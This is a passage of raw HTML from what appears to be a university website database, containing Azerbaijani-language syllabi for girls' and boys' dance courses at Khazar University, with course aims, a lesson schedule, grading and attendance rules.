müəyyən əzələ və bağlara qrupuna yönətməli, güc və rəqs hərəkətlərinin məhdud ahəngi təmin etməyə çalışmalıdır.</p><p style=\"background:undefined \">Kursun məqsədi&nbsp; rəqsə məhəbbətin aşılanması, həm Azərbaycan, həm də bütün&nbsp; xalqların mədəniyyətinin öyrədilməsidir.</p><p style=\"background:undefined \">Musiqi duyumunun&nbsp; inkişaf etdirilməsi , düzgün və&nbsp; gözəl hərəkət etmək bacarığı, yaxşı fiziki normanı saxlamaq.</p><p style=\"background:undefined \">Pedaqoqun məqsədi tələbələri&nbsp; rəqs sənətinin daha dərin və&nbsp; nisbətən professional öyrənilməsinə cəlb etməkdir. Yaxşı nəticəni&nbsp; yalnız şüurlu iş, daimi özünü idarə sayəsində əldə etmək olar.</p><p style=\"background:undefined \">Yeni rəqslər öyrədərkən əvvəlki nəslin təcrübəsindən istifadə etmək lazımdır.</p><p style=\"background:undefined \">Yaddan çıxartmaq olmaz ki, eyni hərəkətlərin gündəlik təkrar olunması&nbsp; onların ifasında avtomatiklik yaradır.Böyük yaşlı şagirdlər hər bir hərəkətin&nbsp; düzgün necə ifadə olunduğunu bilməli və həmçinin onların&nbsp; ifa edərkən mümkün səhvləri təhlil etməyi bacarmalıdırlar.</p><p style=\"background:undefined \">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdr.</p><p style=\"background:undefined \">Tələbələr böyük tamaşaçı auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"background:undefined \">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı birləşdirən birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdir.Tələbələr böyük tamaşacı&nbsp; auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"background:undefined \">Səhnədə olarkən,rəqsin quruluşuna daxil olmadığı hallarda tamaşaçıya arxasnı çevirmək, rəqsə müvafiq olan imkanı saxlamaq, həyəcanının, özünün pis hiss etməsini, səhnədə çaşqınlığa&nbsp; düşməsi büruzə verməmək kimi riayət olunması vacib olan qaydalar məcmusu mövcuddur.</p><p style=\"background:undefined \">Həmçinin dərslərdə istər tələbələr, istərsə də pedaqoqların daha yaxşı nəticələr əldə etmək üçün nizam intizama riayət etməsi və xüsusi əhval ruhiyyənin olması çox vacibdir.</p><p style=\"background:undefined \">Bir sözlə hər şey tələbələrin kursu bitirərkən müstəqil artistlik yoluna qədəm qoymaga hazir olmalarina yönəldilməlidir.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Dərs proqramı&nbsp;</strong><strong><br><br></strong></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"49\"><p style=\"background:undefined \">N-si</p></td><td width=\"522\">&nbsp;</td><td width=\"67\"><p style=\"background:undefined \"><strong>saat</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>1</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Rəqslərin məşq prosesində hərəkətlərin öyrədilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>2</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Klassik və Azərbaycan əl ayaq pozisiyasının öyrənilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>3</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Hazırlıq, klassik elementlərinin öyrənilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>4</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Azərbaycan rəqslərinin, hərəkətlərinin öyrənilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>5</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Sinxron ifası</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>6</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Pozisiyaların düzgün yerinə yetirilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>7</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Azərbaycan hərəkətlərinin cətilləşdirilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>8</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Tələbələrin imtahanın keçirilməsinə hazırlıq</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>9</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Musiqi duyumu</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>10</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Azərbaycan hərəkətlərinin etyuda birləşdirilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>11</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Keçirilən hərəkətlərin təkrarı</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>12</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Məşqin orta hissəsində müasir rəqslərin öyrədilməsinə keçid</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>13</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Hərəkətlərə uyğun səsli və mimika ilə ifadə olunan emosiyalar</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>14</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Keçilən Az.elementlərinin</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>15</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Rəqs etyudlarını yerinə yetirilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>16</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Dünya rəqslərinin elementlərinin öyrənilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>17</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Məzun konsertinə rəqsin quruluşu</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>18</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Dairə,Sıra,Cərgə</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>19</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Məzun konsertinə rəqsin quruluşu</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>20</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Azərbaycan və Dünya rəqslərinin elementlərinin təkrarı</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>21</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Tələbələri imtahan keçirilməsi hazırlıq</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>22</strong></p></td><td width=\"522\"><p style=\"background:undefined \">İmtahan keçirilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>23</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Məsafələr əl və çırtma çalmaları</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>24</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Baxışların, duruşların,çıxışların öyrənilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>25</strong></p></td><td width=\"522\"><p style=\"background:undefined \">&nbsp;Səhnə mədəniyyətinin öyrədilməsi</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>26</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Ü.Hacıbəyli-Koroğlu operasından “Cəngi”</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>2</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>27</strong></p></td><td width=\"522\"><p style=\"background:undefined \">F.Əmirov- Azərbaycan siyutası</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>6</strong></p></td></tr><tr><td width=\"49\"><p style=\"background:undefined \"><strong>28</strong></p></td><td width=\"522\"><p style=\"background:undefined \">Köçəri yallısı</p></td><td width=\"67\"><p style=\"background:undefined \"><strong>6</strong></p></td></tr></tbody></table><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Cəmi 64 saat</strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Qızlar Üçün “Rəqs” Fənni</strong></p><p style=\"background:undefined \"><strong>&nbsp;Rəqs fənnindən Syllabus</strong><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Müəllim:&nbsp;</strong>Səbinə İsmayılova</p><p style=\"background:undefined \"><strong>Telefon:&nbsp;&nbsp;</strong>055&nbsp;661 83 85</p><p style=\"background:undefined \"><strong>Semestr:&nbsp;</strong>Fall 2013</p><p style=\"background:undefined \"><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal</p><p style=\"background:undefined \"><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal</p><p style=\"background:undefined \"><strong>Davamiyyət:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal</p><p style=\"background:undefined \"><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;&nbsp;</strong>20 bal</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Davamiyyət</strong></p><p style=\"background:undefined \">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması(xəstəlik,ailə vəziyyəti və s.)haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>İmtahan qaydaları</strong></p><p style=\"background:undefined \">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Fənni bitirmək qaydaları</strong></p><p style=\"background:undefined \">Universitənin qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 bal və yuxarı hesab edilir.Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilərlər.<strong>&nbsp;<br><br></strong></p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Kursa Giriş</strong></p><p style=\"background:undefined \">Rəqs-sadəcə hərəkətlər yığımı deyil, rəqs-hisslərin ifadə olunması,konkret xalqın əksidir.İstənilən xalq rəqsi özündə,məxsus olduğu xalqın mədəniyyətinin ruhunu yaşadır.</p><p style=\"background:undefined \">Amma bu günkü xalq rəqsi hər şeydə olmasa da bir çox şeylərdə ötən onilliklərin rəqslərindən fərqlənir. İfa etmə tərzi dəyişir. Yeni kolorit əlavə olunur, hərəkətlər yeni çalarlar ifadə edir, rəqs texnikası çətinləşir,</p><p style=\"background:undefined \">Düzgün və savadlı qoyulmuş rəqslə nifrətdən məhəbbətə qədər bütün&nbsp; hissləri, səmimiyyət və canlılıq, xalqın xarakterini ifade etmək olar.</p><p style=\"background:undefined \">&nbsp;</p><p style=\"background:undefined \"><strong>Kursun məqsədi :</strong></p><p style=\"background:undefined \">Hər bir təlim pilləsinin öz spesifik&nbsp; xüsüsiyyətləri ,öz çətinlikləri var. Əgər ilk təhsil ilində rəqsin bünövrəsi qoyulur , onun əsasında hərəkətlər öyrənilir, dözümlülük tərbiyə olunur, hərəkətin ifadəli olmasına diqqət yetirilirsə, ikinci və üçüncü təhsil illəri keyfiyyətcə yeni təhsil pilləsidir.</p><p style=\"background:undefined \">Sinif proqramından asılı olaraq, hər bir dərs bölməsi öz vəzifələri və müəyyən bir hərəkətin digərini əvəz etməsi qaydasına malikdir.Bu qayda iradi deyil. Pedaqoq dərsi&nbsp; öz şagirdlərinin&nbsp; professional&nbsp; və fiziki imkanlarını nəzərə almaqla qurmalı, fiziki yükü düşünülmüş qaydada növbələşdirməli və müəyyən əzələ və bağlara qrupuna yönətməli, güc və rəqs hərəkətlərinin məhdud ahəngi təmin etməyə çalışmalıdır.</p><p style=\"background:undefined \">Kursun məqsədi&nbsp; rəqsə məhəbbətin aşılanması, həm Azərbaycan, həm də bütün&nbsp; xalqların mədəniyyətinin öyrədilməsidir.</p><p style=\"background:undefined \">Musiqi duyumunun&nbsp; inkişaf etdirilməsi , düzgün və&nbsp; gözəl hərəkət etmək bacarığı, yaxşı fiziki normanı saxlamaq.</p><p style=\"background:undefined \">Pedaqoqun məqsədi tələbələri&nbsp; rəqs sənətinin daha dərin və&nbsp; nisbətən professional öyrənilməsinə cəlb etməkdir. Yaxşı nəticəni&nbsp; yalnız şüurlu iş, daimi özünü idarə sayəsində əldə etmək olar.</p><p style=\"background:undefined \">Yeni rəqslər öyrədərkən əvvəlki nəslin təcrübəsindən istifadə etmək lazımdır.</p><p style=\"background:undefined \">Yaddan çıxartmaq olmaz ki, eyni hərəkətlərin gündəlik təkrar olunması&nbsp; onların ifasında avtomatiklik yaradır.Böyük yaşlı şagirdlər hər bir hərəkətin&nbsp; düzgün necə ifadə olunduğunu bilməli və həmçinin onların&nbsp; ifa edərkən mümkün səhvləri təhlil etməyi bacarmalıdırlar.</p><p style=\"background:undefined \">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı&nbsp; birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdr.</p><p style=\"background:undefined \">Tələbələr böyük tamaşaçı auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"background:undefined \">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı birləşdirən birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdir.Tələbələr böyük&nbsp; tamaşacı&nbsp; auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"background:undefined \">Səhnədə olarkən,rəqsin quruluşuna daxil olmadığı hallarda tamaşaçıya arxasnı çevirmək ,rəqsə müvafiq olan imkanı saxlamaq, həyəcanının, özünün pis hiss etməsini, səhnədə çaşqınlığa&nbsp; düşməsi büruzə verməmək kimi riayət olunması vacib olan qaydalar məcmusu mövcuddur.</p><p style=\"background:undefined \">Həmçinin dərslərdə istər tələbələr, istərsə də pedaqoqların daha yaxşı nəticələr əldə etmək üçün nizam intizama riayət etməsi və xüsusi əhval ruhiyyənin olması çox vacibdir.</p><p style=\"background:undefined \">Bir sözlə hər şey tələbələrin kursu bitirərkən müstəqil artistlik yoluna qədəm qoymaga hazir olmalarina yönəldilməlidir.</p></div><br></div>'),(1235,761,'en','Sillabus','Sillabus','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Xəzər Universitəsi Musiqi və İncəsənət departamenti&nbsp;</strong><strong><br><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Oğlanlar Üçün “Rəqs” Fənni&nbsp;<br><br></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Rəqs fənnindən Syllabus</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Müəllim:&nbsp;</strong>Fərid Əliyev</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Telefon:&nbsp;&nbsp;</strong>055&nbsp;781 14 43</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Semestr:&nbsp;</strong>Fall 2014</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Kredit:&nbsp;&nbsp;&nbsp;</strong>sayı 3 kredit</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Final:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>40 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Midterm:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>30 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Davamiyyət:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong>10 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Tədbirlərdə iştirak:&nbsp;&nbsp;&nbsp;</strong>20 bal</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Davamiyyət</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin bütün dərslərdə iştirakı vacibdir.Tələbələr hər hansı bir səbəbdən dərslərin buraxılması (xəstəlik,ailə vəziyyəti və s.) haqqında məlumatı fakultə dekanına təqdim etməlidirlər.20% artıq dərs buraxan tələbələr dərsə buraxılmır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>İmtahan qaydaları</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələrin imtahanda iştirakı və ya imtahanaburaxılması ilə bağlı bütün məsələlər fakultə rəhbərliyi tərəfindən həll olunur. İmtahan hesabat və yekun konsertləri şəkilində keçirilir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Fənni bitirmək qaydaları</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Universitein qaydalarına üvafiq olaraq kursu bitirmək üçün ümumi müvəffəqiyyət faizi 60 bal və yuxarı hesab edilir. Kəsri olan tələbələr bu fənni növbəti il təkrar götürə bilər</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Kursa Giriş</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Rəqs-sadəcə hərəkətlər yığımı deyil, rəqs-hisslərin ifadə olunması,konkret xalqın əksidir.İstənilən xalq rəqsi özündə,məxsus olduğu xalqın mədəniyyətinin ruhunu yaşadır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Amma bu günkü xalq rəqsi hər şeydə olmasa da bir çox şeylərdə ötən onilliklərin rəqslərindən fərqlənir. İfa etmə tərzi dəyişir. Yeni kolorit əlavə olunur, hərəkətlər yeni çalarlar ifadə edir, rəqs texnikası çətinləşir,</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Düzgün və savadlı qoyulmuş rəqslə nifrətdən məhəbbətə qədər bütün&nbsp; hissləri, səmimiyyət və canlılıq, xalqın xarakterini ifade etmək olar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Kursun məqsədi:</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Hər bir təlim pilləsinin öz spesifik&nbsp; xüsüsiyyətləri ,öz çətinlikləri var. Əgər ilk təhsil ilində rəqsin bünövrəsi qoyulur , onun əsasında hərəkətlər öyrənilir, dözümlülük tərbiyə olunur, hərəkətin ifadəli olmasına diqqət yetirilirsə, ikinci və üçüncü təhsil illəri keyfiyyətcə yeni təhsil pilləsidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Sinif proqramından asılı olaraq, hər bir dərs bölməsi öz vəzifələri və müəyyən bir hərəkətin digərini əvəz etməsi qaydasına malikdir. Bu qayda iradi deyil. Pedaqoq dərsi&nbsp; öz şagirdlərinin&nbsp; professional&nbsp; və fiziki imkanlarını nəzərə almaqla qurmalı, fiziki yükü düşünülmüş qaydada növbələşdirməli və müəyyən əzələ və bağlara qrupuna yönətməli, güc və rəqs hərəkətlərinin məhdud ahəngi təmin etməyə çalışmalıdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Kursun məqsədi&nbsp; rəqsə məhəbbətin aşılanması, həm Azərbaycan, həm də bütün&nbsp; xalqların mədəniyyətinin öyrədilməsidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Musiqi duyumunun&nbsp; inkişaf etdirilməsi , düzgün və&nbsp; gözəl hərəkət etmək bacarığı, yaxşı fiziki normanı saxlamaq.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Pedaqoqun məqsədi tələbələri&nbsp; rəqs sənətinin daha dərin və&nbsp; nisbətən professional öyrənilməsinə cəlb etməkdir. Yaxşı nəticəni&nbsp; yalnız şüurlu iş, daimi özünü idarə sayəsində əldə etmək olar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yeni rəqslər öyrədərkən əvvəlki nəslin təcrübəsindən istifadə etmək lazımdır.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Yaddan çıxartmaq olmaz ki, eyni hərəkətlərin gündəlik təkrar olunması&nbsp; onların ifasında avtomatiklik yaradır.Böyük yaşlı şagirdlər hər bir hərəkətin&nbsp; düzgün necə ifadə olunduğunu bilməli və həmçinin onların&nbsp; ifa edərkən mümkün səhvləri təhlil etməyi bacarmalıdırlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdr.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələr böyük tamaşaçı auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Tələbələri daima rəqs metodikası ilə tanış etmək lazımdır.Özündə nəzəriyyə və praktikanı birləşdirən birləşdirən bu metod yaxşı nəticələr verir. Dərsin musiqi müşayiəti böyük əhəmiyyətə malikdir.Tələbələr böyük tamaşacı&nbsp; auditoriyası ilə rastlaşacaqları səhnədə işləməyə hazır olmalıdırlar.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Səhnədə olarkən,rəqsin quruluşuna daxil olmadığı hallarda tamaşaçıya arxasnı çevirmək, rəqsə müvafiq olan imkanı saxlamaq, həyəcanının, özünün pis hiss etməsini, səhnədə çaşqınlığa&nbsp; düşməsi büruzə verməmək kimi riayət olunması vacib olan qaydalar məcmusu mövcuddur.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Həmçinin dərslərdə istər tələbələr, istərsə də pedaqoqların daha yaxşı nəticələr əldə etmək üçün nizam intizama riayət etməsi və xüsusi əhval ruhiyyənin olması çox vacibdir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Bir sözlə hər şey tələbələrin kursu bitirərkən müstəqil artistlik yoluna qədəm qoymaga hazir olmalarina yönəldilməlidir.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Dərs proqramı&nbsp;</strong><strong><br><br></strong></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"49\"><p>N-si</p></td><td width=\"522\">&nbsp;</td><td width=\"67\"><p><strong>saat</strong></p></td></tr><tr><td width=\"49\"><p><strong>1</strong></p></td><td width=\"522\"><p>Rəqslərin məşq prosesində hərəkətlərin öyrədilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>2</strong></p></td><td width=\"522\"><p>Klassik və Azərbaycan əl ayaq pozisiyasının öyrənilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>3</strong></p></td><td width=\"522\"><p>Hazırlıq, klassik elementlərinin öyrənilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>4</strong></p></td><td width=\"522\"><p>Azərbaycan rəqslərinin, hərəkətlərinin öyrənilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>5</strong></p></td><td width=\"522\"><p>Sinxron ifası</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>6</strong></p></td><td width=\"522\"><p>Pozisiyaların düzgün yerinə yetirilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>7</strong></p></td><td width=\"522\"><p>Azərbaycan hərəkətlərinin cətilləşdirilməsi</p></td><td width=\"67\"><p><strong>2</strong></p></td></tr><tr><td width=\"49\"><p><strong>8</strong></p></td><td width=\"522\"><p>Tələbələrin imtahanın keçirilməsinə hazırlıq</p></td><td 